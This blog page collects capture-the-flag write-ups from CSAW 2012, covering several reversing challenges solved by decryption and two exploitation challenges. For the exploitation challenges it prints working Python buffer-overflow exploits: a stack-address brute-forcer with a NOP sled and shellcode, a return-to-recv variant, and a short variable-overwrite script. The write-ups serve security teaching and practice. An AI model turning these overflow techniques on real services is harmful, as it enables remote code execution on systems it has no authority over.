.text:0000000000400604 loc_400604:                             ; CODE XREF: decrypt+34j
.text:0000000000400604                 mov     rax, [rbp+key]
.text:0000000000400608                 movzx   eax, byte ptr [rax]
.text:000000000040060B                 mov     edx, eax
.text:000000000040060D                 not     edx
.text:000000000040060F                 mov     rax, [rbp+key]
.text:0000000000400613                 mov     [rax], dl
.text:0000000000400615                 add     [rbp+key], 1
.text:000000000040061A                 add     [rbp+var_4], 1
.text:000000000040061E
.text:000000000040061E loc_40061E:                             ; CODE XREF: decrypt+Fj
.text:000000000040061E                 mov     rax, [rbp+key]
.text:0000000000400622                 movzx   eax, byte ptr [rax]
.text:0000000000400625                 test    al, al
.text:0000000000400627                 jnz     short loc_400604
.text:0000000000400629                 mov     eax, [rbp+var_4]
.text:000000000040062C                 pop     rbp
.text:000000000040062D                 retn
.text:000000000040062D decrypt         endp

Similar to reverse engineering 100 points, a bitflip is used as obfuscation mechanism.

Key: csawissohard__:(

Written by teampong

October 24, 2012 at 5:44 am

Posted in Uncategorized

CSAW 2012 – Reversing 300

leave a comment »

$ file r300.exe
r300.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Let’s open the binary in Reflector again.

private static void Main(string[] args)
{
    Console.WriteLine("Do you really just run random binaries given to you in challenges?");
    Console.ReadLine();
    Environment.Exit(0);
    MD5CryptoServiceProvider provider = new MD5CryptoServiceProvider();
    AesCryptoServiceProvider provider2 = new AesCryptoServiceProvider();
    foreach (string str in Directory.EnumerateDirectories(target))
    {
        if (Enumerable.SequenceEqual<byte>(provider.ComputeHash(Encoding.UTF8.GetBytes(str.Replace(target, ""))), marker))
        {
            byte[] rgbKey = provider.ComputeHash(Encoding.UTF8.GetBytes("sneakyprefix" + str.Replace(target, "")));
            byte[] bytes = provider2.CreateDecryptor(rgbKey, new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }).TransformFinalBlock(data, 0, data.Length);
            Console.Write(Encoding.UTF7.GetString(bytes));
        }
    }
    Console.ReadLine();
}

An easy way to display the key is to patch out the Environment.Exit(0) statement. But I did it the hard way. πŸ™‚

First all directories in ‘target’ are enumerated and its hash compared to ‘marker’.

From Reflector:

    # marker = new byte[] { 0xff, 0x97, 0xa9, 0xfd, 0xed, 0xe0, 0x9e, 0xaf, 110, 0x1c, 0x8e, 0xc9, 0xf6, 0xa6, 0x1d, 0xd5 };
    # target = @"C:\Program Files\";

The following python code snippet reveals that “Intel” is the string we’re looking for.

for d in os.listdir("C:\Program Files"):
	print d, hexlify(md5sum(d))

This gives us the key for the AES decryption: md5sum(“sneakyprefix” + “Intel”).
The IV for the decryption: { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }.

And decrypting the ciphertext with AES using found key and IV reveals the key: 6a6c4d43668404041e67f0a6dc0fe243

Written by teampong

October 24, 2012 at 5:42 am

Posted in Uncategorized

CSAW 2012 – Reversing 200

leave a comment »

$ md5sum CSAWQualificationEasy.exe
38a74f4fa2c4844f5efa3604517348ac  CSAWQualificationEasy.exe
$ file CSAWQualificationEasy.exe
CSAWQualificationEasy.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

It is a .NET assembly. Let’s go fetch Reflector and open the executable in it.

Again, symbols are not stripped and the en/crypt routine is easily spotted. It seems the key is XOR-ed with 0xFF.

This python program will give the key (the bytes array is copied from Reflector):

bytes=\
''' 0xab, 0x97, 0x9a, 0xdf, 0x94, 0x9a, 0x86, 0xdf, 150, 140, 0xdf, 0xc6, 0x9c, 0xcf, 0xc6, 0x99, 
        0xc7, 0xcb, 0xce, 0xc9, 0x9e, 0xcd, 0xcd, 0xcf, 0xc9, 0xcd, 0xcd, 0xce, 0x9a, 0xca, 0xcf, 0x9d, 
        0xc6, 0xc7, 0x9a, 0xcc, 0xcb, 0xc9, 0xcf, 0xcb, 200, 0x9d, 200'''.split(',')
r=''		
for b in bytes:
	b = b.strip()
	if b.find('x') != -1:
		b = int(b,16)
	else:
		b=int(b)
	r += chr(b ^ 0xff)
	
print r

Key: 9c09f8416a2206221e50b98e346047b7

Written by teampong

October 24, 2012 at 5:38 am

Posted in Uncategorized

CSAW 2012 – Reversing 100

leave a comment »

b86cf945ba845c4c9932b4021f7ce55a  csaw2012reversing.exe

Running the executable displays a messagebox with an encrypted key.
Opening the excutable in IDA/Hex-Rays:

  key[0] = 0x88u;
  key[1] = 0x9Au;
  key[2] = 0x93u;
  key[3] = 0x9Cu;
  key[4] = 0x90u;
  key[5] = 0x92u;
  key[6] = 0x9Au;
  key[7] = 0xA0u;
  key[8] = 0x8Bu;
  key[9] = 0x90u;
  key[10] = 0xA0u;
  key[11] = 0x9Cu;
  key[12] = 0x8Cu;
  key[13] = 0x9Eu;
  key[14] = 0x88u;
  key[15] = 0xDEu;
  key[16] = 0;

There is also a decrypt function (the executable has its symbols not stripped).

unsigned int __cdecl decrypt(char *string)
{
  unsigned int size; // [sp+0h] [bp-4h]@1

  size = 0;
  while ( *string )
  {
    *string = ~*string;
    ++string;
    ++size;
  }
  return size;
}

So, the key is bitflipped: welcome_to_csaw!

Written by teampong

October 24, 2012 at 5:36 am

Posted in Uncategorized

CSAW 2012 – Exploitation 500

leave a comment »

md5sum challenge1
a117e440939f099e26b79f0379656367  challenge1
$ file challenge1
challenge1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc2a7a20947f2afeb24f04a53f3086e49bea61212, not stripped

The vulnerable function is labeled q_generate.

int __cdecl q_generate(int fd)
{
  char buf_124[124]; // [sp+14h] [bp-4B4h]@1
  char buf_1024[1024]; // [sp+90h] [bp-438h]@4
  char buf_40[40]; // [sp+490h] [bp-38h]@4
  int bytes_received; // [sp+4B8h] [bp-10h]@1
  int v6; // [sp+4BCh] [bp-Ch]@1

  v6 = 0;
  bytes_received = 0;
  send_question(fd, 1);
  bytes_received = recv(fd, buf_124, 124u, 0);
  null_terminate_string(buf_124, bytes_received);
  v6 = check_answer(buf_124);
  if ( v6 == 1 )
  {
    win(fd);
    close(fd);
    exit(0);
  }
  lose(fd);
  send_question(fd, 2);
  bytes_received = recv(fd, buf_1024, 1024u, 0);
  null_terminate_string(buf_1024, bytes_received);
  memcpy(buf_40, buf_1024, 4 * ((unsigned int)bytes_received >> 2));	//*** Bufferoverflow here
  v6 = check_answer(buf_40);
  if ( v6 == 1 )
  {
    win(fd);
    close(fd);
    exit(1);
  }
  return lose(fd);
}

Small buffer buf_40 can be overflowed with the contents of buf_1024. There are no limitations to our input. The game logic is as follows:

  • a question is asked
  • give a wrong answer
  • question is asked again
  • again, give a wrong answer, but include the exploit code
  • the answer is copied into the small buffer => overflow

Stack analysis of the function reveals that we have 60 bytes to send to overflow the EIP.

-000004B4 buf_124         db 124 dup(?)
-00000438 buf_1024        db 1024 dup(?)
-00000038 buf_40          db 40 dup(?)
-00000010 bytes_received  dd ?
-0000000C var_C           dd ?
-00000008 var_8           dd ?
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 fd              dd ?

To transfer control to our shellcode, we might do a jmp ESP. However, this ‘gagdet’ is not available in the binary.

I decided in the end to bruteforce the stack address, resulting in the following python code:

import socket, struct
import time,sys

def recv(socket, str):
	x = socket.recv(1024)
	while True:
		if x.find(str) != -1:
			break
		x += socket.recv(1024)
	return x

def tryit(address):	
	s = socket.create_connection((ip, service_port))
		
	# shellcode
	buf = open("shellcode", "rb").read()

	# get question
	q = recv(s, "Answer: ")

	# send wrong answer
	s.send('A')

	# get lose message and question
	q = recv(s, "Answer: ")

	# sent wrong answer
	eip = struct.pack("<I", address)

	nopsled = '\x90' * (1024 - 60 - len(buf) - 4 - 4)
	s.send('B' * 60 + eip + nopsled + buf + 'FFFF' * 1)

	# get key
	x = s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	
	if x != '':
		print "0x%X" % address, x
		sys.exit(0)

eip = 0xc0000000
while True:
	print "0x%X" % eip
	tryit(eip)
	eip -= 800

This gave the key in 6 tries!

After reading some other writeups, I wanted to make this exploit reliable. Instead of using a hardcoded stack address, I used the .plt entry of recv.

import socket, struct
import time,sys

service_port = 12345
#ip = "128.238.66.213"
ip = "192.168.1.3"

def recv(socket, str):
	x = socket.recv(1024)
	while True:
		if x.find(str) != -1:
			break
		x += socket.recv(1024)
	return x

def sploit():	
	s = socket.create_connection((ip, service_port))
		
	# shellcode
	sc = open("shellcode", "rb").read()

	# get question
	q = recv(s, "Answer: ")

	# send wrong answer
	s.send('A')

	# get 2nd change
	q = recv(s, "Answer: ")

	# sent wrong answer/sploit/payload
	eip = struct.pack("<I", 0x08048760) # recv
	cont_address = struct.pack("I", 0x0804B000)
	recv_args = struct.pack("<I", 4) + struct.pack("I", 0x0804B000) + struct.pack("<I", len(sc)) + struct.pack("<I", 0)
	
	payload = 'B' * 60 + eip + cont_address + recv_args

	s.send(payload + 'FFFF' * 1)
	time.sleep(1)
	s.send(sc)

	# get key
	x = s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	
	if x != '':
		print x
		sys.exit(0)
	
sploit()

Written by teampong

October 24, 2012 at 5:34 am

Posted in Uncategorized

CSAW 2012 – Exploitation 200

leave a comment »

$ md5sum exp200
979fd4900ef48a1b958d6d555c4c35b5  exp200
$ file exp200
exp200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x94e984380a61d713c1a614f40eeee92c533593d4, not stripped

Opening the binary in IDA reveals a vulnerable function:

int __cdecl handle(int fd)
{
  char buf[512]; // [sp+1Ch] [bp-20Ch]@1
  int v3; // [sp+21Ch] [bp-Ch]@1

  v3 = 0;
  memset(buf, 0, sizeof(buf));
  send(fd, "Wecome to my first CS project.\nPlease type your name:  ", 0x37u, 0);
  recv(fd, buf, 516u, 0);
  buf[511] = 0;
  if ( !strcmp(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAA\n") )
    v3 = 1;
  if ( v3 )
  {
    ::fd = (int)fopen("./key", "r");
    __isoc99_fscanf(::fd, "%s", buf);
    recv(fd, 0, 0x10u, 64);                     // flags=DONT_WAIT
    send(fd, buf, 0x200u, 0);
  }
  return close(fd);
}

One can choose to send “AAAAAAAAAAAAAAAAAAAAAAAAAA\n” to the server and get the key.

Or do it the hard way and overflow buf and consequently variable v1. πŸ™‚

import socket

service_port = 54321
ip = "128.238.66.218"

s = socket.create_connection((ip, service_port))
buf = 'B' * 512 + '\x01\x00\x00\x00'
print s.recv(4096)
s.send(buf)
print s.recv(4096)

Written by teampong

October 24, 2012 at 5:29 am

Posted in Uncategorized